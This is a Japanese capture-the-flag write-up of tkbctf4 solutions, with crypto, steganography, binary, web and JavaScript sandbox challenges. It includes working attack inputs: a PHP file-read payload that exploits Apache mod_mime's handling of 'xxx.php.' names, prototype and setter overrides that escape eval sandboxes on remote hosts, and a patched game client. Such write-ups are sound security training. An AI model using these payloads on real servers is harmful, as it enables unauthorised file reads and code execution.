tkbctf4にぼっチームsuperflipで参加した。1655ptで4位。最後の1時間でMMAとdcuaに抜かれた(´Д`; )
1. rcrypto (cryptography 200)
32bit程度の整数a, bと、2048bitの整数N、res1=M(M+a)%N、res2=M(M+b)%Nが与えられ、Mを求める問題。res1-res2で、(a-b)Mになる。xの対数はN-xだけど、逆数はどうやって求めるのだろう? 効率の良い方法が分からなかった。yがxの逆数ならば、xy = kN+1が成り立つので、kの値を増やしながら、kN+1がxで割り切れるかどうかを調べた。kは高々xくらいになるはずで、Pythonでも数時間くらいで求められた。
FLAG{R4b1n cryp705y573m 15 v3ry 1n73r3571ng!!!}
2. monochrome bar (steganography 100)
72900x1ピクセルの画像が問題。270ピクセルごとに折り返すとQRコードが出てくる。
四隅のマーカーに正方形を書いて読み取ると、
RkxBR3tDaDF0M2sxazBrMXNoMW4tbTRufQ==
↓
FLAG{Ch1t3k1k0k1sh1n-m4n}
3. high-low (cryptography 400)
High-Lowゲーム。トランプが一枚ずつめくられていき、次のトランプが大きいか小さいかを予測する。52枚全部めくれたらクリア。処理を追い切れていないが、ゼロ知識証明みたいなことをして、サーバー側もズルをできないようにしたいらしい。α, β=αkeyが事前に送られてくる大きな整数、keyを秘密にしなければいけない感じだがなぜか送られてくる。c_cardが伏せられたカードでHigh/Lowを答える前は、サーバー側は内容を知っているけど、こちら側は分からない。
- ユーザーがHighかLowかを答える
- サーバーがm_card(これからトランプの数字が計算できる)を送ってくる
- サーバーがsを秘密の乱数として、a=αsとb=m_cardsを送ってくる
- ユーザーが任意の乱数cを送る
- サーバーが対応する値rを返してくる
- rはαr=a βcとm_cardr=b c_cardcを満たす整数。r=s+c key
難しいことは分からないが、サーバーのkeyが分かるので答える前にm_cardを求めれば良い。main.jsのnext関数を
function next (me, room) { var d = new $.Deferred(); $.get( './next', function (card) { var card = card_of_string(card); var i = index_of_card(card, room.cards); var c_card = [card[0], card[1].modPow(me.key.modInverse(room.q), room.p)]; var m_card = [c_card[0], c_card[1].modPow(room.key.modInverse(room.q), room.p)]; console.log("card: "+symbols[get_card(m_card, room.x, room.p)]) if (i > -1) { room.cards = extracted_cards(i, room.cards); $('.choice').removeAttr('disabled'); me['c_card'] = card; d.resolve(card, me, room); } else { d.reject('this card does not exist in c0.'); } }) return d.promise(); }
と書き換え、Fidllerで差し替えた。コンソールにトランプの数字が出てくるので間違えないようにポチポチ。
FLAG{0n30fTheB3st!sWh4t?}
4. gradius (binary 100)
64bitのELFファイル。4005d2あたりで変数に入れた文字列と素直に比較している。手入力したら遅いと言われた。
[kusano@localhost tkbctf4]$ ./gradius kkjjhlhlba too slow [kusano@localhost tkbctf4]$ echo "kkjjhlhlba" | ./gradius FLAG{!!D4GG3R!!}
FLAG{!!D4GG3R!!}
5. ITF point system (web 300)
解けなかった。
ユーザー登録をすると、名前と点数を登録するフォームが出てくる。(名前)@(ハッシュ?).dbという名前でデータベースファイルをダウンロードできる。
SQLインジェクションがあるけど、何もできない。
というヒントが追加された。
名前の後ろに.phpを付けるのは試していたが、.php.が正解だったらしい(´Д`; ) こんな仕様があったとは……。
mod_mime - Apache HTTP サーバ
「xxx.php.」という名前でログインして、「<?php readfile("../flag.php") ?>」という名前のユーザーを登録すれば良い。
<?php echo "CENSORED{XXXXXXXXXXXXXXXXXXXXXXXXXXX}\n"; //echo "FLAG{mod_mime's 5tr4ng3 b3h4vi0r}\n";
FLAG{mod_mime's 5tr4ng3 b3h4vi0r}
6. Just Do It ? (binary 200)
Windowsの64bitプログラム。x64_dbgで解析した。色々計算しているようだが、結局は入力に値をxorして比較しているだけなので、0000000とかを入力して比較しているところまで飛ぶと楽。
>rev.exe Welcome.... Can you get flag ? Solve! Stage 1 Input : SYNT{Ra Now checking... Congrats! Go to next stage. Stage 2 Input : wblrqZl Now checking... Congrats! Go to next stage. Stage 3 Input : SvefgCe Now checking... Congrats! Go to next stage. Stage 4 Input : boyrz?} Now checking... Congrats! So you have already gotten flag. Find it :)
SYNT{RawblrqZlSvefgCeboyrz?}をROT13。
FLAG{EnjoyedMyFirstProblem?}
7. fourbytes (binary 500)
解けなかった。
指定されたサーバーに繋いで5回ジャンケンして勝つと4バイトだけ指定したコードを実行してくれるらしい。乱数の初期化が時刻なので、サーバーとタイミングを合わせればジャンケンは勝てる。問題文曰く、NXとASLRが有効。4バイト読み込み用に確保されるアドレスもランダム。これでどうしろと……。
8. Cheer of CPU (binary 300)
解けなかった。
(たぶん)Swiftで作ったプログラム。
9. rand (javascript 200)
指定されたアドレスに接続するとNode.jsのインタプリタが動いている。関数のローカルスコープにあるフラグを読み出せという問題。最近のグローバル変数を使わないJavaScriptのプログラムだとローカルスコープにアクセスしたいことが良くあるのだけど簡単な方法は無いのだろうか? 入力した文字がevalされるけど、使えそうな文字は消されてしまう。Array.joinを呼び出しているので書き換えた。
>nc 203.178.132.117 30349 var g = function () { var rand = Math.random, floor = Math.floor; var symbols = [0,0,0,0,0,0,0].map(function (i) { return floor(rand() * 6); }).map(function (i) { return ['&', '%', '*', '@', '#', '$'][i]; }); function getFlag () { var FLAG = 'FLAG_IS_HIDDEN_HERE'; return floor(rand() * 100000) === 100000 ? FLAG : 'try again'; } function f (str) { eval(str .split('(').join(symbols[0]) .split(')').join(symbols[1]) .split('=').join(symbols[2]) .split('*').join(symbols[3]) .split('&').join(symbols[4]) .split('"').join(symbols[5]) .split("'").join(symbols[6])); } return f.bind(null); }(); // Good luck! rand> Array.prototype.join = function(){return "x=getFlag"} function (){return "x=getFlag"} rand> g("") undefined rand> x function getFlag() { var FLAG = 'FLAG{7f94427ec6f49f70642d41c675b98832}'; return floor(rand() * 100000) === 100000 ? FLAG : 'try again'; } rand>
FLAG{7f94427ec6f49f70642d41c675b98832}
10. high-low2 (cryptography 400)
解けなかった。
↑のhigh-lowの改良版。サーバーからkeyが送られてこない。さっぱり分からなかった。ゼロ知識証明は何度もやりとりをして確率的に知識を持っていることを証明するらしいけど、このプログラムは1回しか通信をしていない。その辺でプロトコル自体に穴があるのだろうか?
11. Simple Serial Code (binary 200)
.NETプログラム。入力を4文字ごとに区切り、それぞれのMD5ハッシュを計算して先頭4文字を切り出して連結。それが"this_is_not_flag!!"のMD5 (5d76d6c8889505b3273844a021a3efc4)と等しければチェックが通る。サーバーにシリアルコードを投げているのでこの条件を満たす文字列ならば何でも良い。4文字ということは16bitなのですぐに探索できる。安全にしようと凝ったことをするのは、かえって危険になるということだろうか?
import hashlib def md5(x): return hashlib.md5(x).hexdigest() T = md5("this_is_not_flag!!") ans = ["____"]*8 A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" for a1 in A: for a2 in A: for a3 in A: for a4 in A: s = a1+a2+a3+a4 h = md5(s)[:4] for i in range(8): if h==T[4*i:4*(i+1)]: ans[i] = s print "".join(ans)
C:\documents\ctf\tkbctf4\11>solve.py ____________ABCU________________ ____________ABCU________AHsH____ ____APkN____ABCU________AHsH____ ____APkN____ABCU____AWtFAHsH____ ____AYhE____ABCU____AWtFAHsH____ ____AYhE____ABCUAZgpAWtFAHsH____ ____AYhE____ABCUAZgpAbWvAHsH____ ____AYhE____AdQmAZgpAbWvAHsH____ ____AYhE____AeyIAZgpAbWvAHsH____ ____AYhE____AkbGAZgpAbWvAHsH____ ____AYhE____AlemAZgpAbWvAHsH____ ____AYhE____AlemAZgpAbWvAmFN____ ____ArRt____AlemAZgpAbWvAmFN____ ____BFvN____AlemAZgpAbWvAmFN____ ____BFvN____BIGaAZgpAbWvAmFN____ ____BFvN____BIGaAZgpBJMcAmFN____ ____BLoN____BIGaAZgpBJMcAmFN____ BMIgBLoN____BIGaAZgpBJMcAmFN____ BMIgBLoNBOrfBIGaAZgpBJMcAmFN____ BMIgBLoNBOrfBIGaAZgpBJMcBQvV____ BMIgBLoNBVNJBIGaAZgpBJMcBQvV____ BMIgBZLhBVNJBIGaAZgpBJMcBQvV____ BMIgBZLhBVNJBbwLAZgpBJMcBQvV____ BMIgBZLhBVNJBfQXAZgpBJMcBQvV____ BiFWBZLhBVNJBfQXAZgpBJMcBQvV____ BiFWBiMHBVNJBfQXAZgpBJMcBQvV____ BjXXBiMHBVNJBfQXAZgpBJMcBQvV____ BkisBiMHBVNJBfQXAZgpBJMcBQvV____ BkisBiMHBVNJBmjvAZgpBJMcBQvV____ BkisBiMHBVNJBmjvAZgpBocMBQvV____ BqHWBiMHBVNJBmjvAZgpBocMBQvV____ BqHWBiMHBrYdBmjvAZgpBocMBQvV____ BqHWBiMHBrYdBmjvBuJeBocMBQvV____ BqHWBiMHBrYdBmjvBxRoBocMBQvV____ BqHWBiMHBrYdBmjvBxRoCBxMBQvV____ BqHWBiMHBrYdBmjvBxRoCBxMCDdv____ BqHWBiMHBrYdCFcaBxRoCBxMCDdv____ BqHWBiMHBrYdCFcaCFwaCBxMCDdv____ BqHWCFyJBrYdCFcaCFwaCBxMCDdv____ BqHWCFyJBrYdCFcaCFwaCBxMCDdvCIgB :
最初は数字も含めていたらサーバー側からシリアルコード英字だけだと403が返ってきた。なぜかフラグも含まれてはいたけれど、一応英字だけで探索し直した。
>SimpleSerialCode.exe 0fZT12EQ0zeU1FO11NCG1MCv1MWI19GA ハンドルされていない例外: System.Net.WebException: リモート サーバーがエラーを返しま した: (403) 使用不可能 場所 System.Net.HttpWebRequest.GetResponse() 場所 SimpleSerialCode.Main(String[] args) >SimpleSerialCode.exe BqHWCFyJBrYdCFcaCFwaCBxMCDdvCIgB Congratulations!! FLAG{06e57cb21b042c4d52a1e516b14cceae}
FLAG{06e57cb21b042c4d52a1e516b14cceae}
12. amida (misc 300)
解けなかった。
アミダクジ。どこかで見た問題。ただしアミダクジが画像(´Д`; )
13. args (javascript 200)
↑のrandと同じような問題。bindでthisを指定していないから外側のthisが使われ、代入しているので、フックできる。
>nc 203.178.132.117 24089 var g = (function () { var FLAG = 'FLAG_IS_HIDDEN_HERE'; function f (flg /* args[]... */) { this.args = arguments; if (flg) { return FLAG; } else { return Array.prototype.slice.call(this.args, 1).join(', '); } } return f.bind(null, false); })(); // Good luck! args> __defineSetter__("args", function(v){v[0]=true}) undefined args> g() "FLAG{3d2dba5b774814fa8fe87798898b7b30}" args>
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"
rakuda (binary 300)
解けなかった。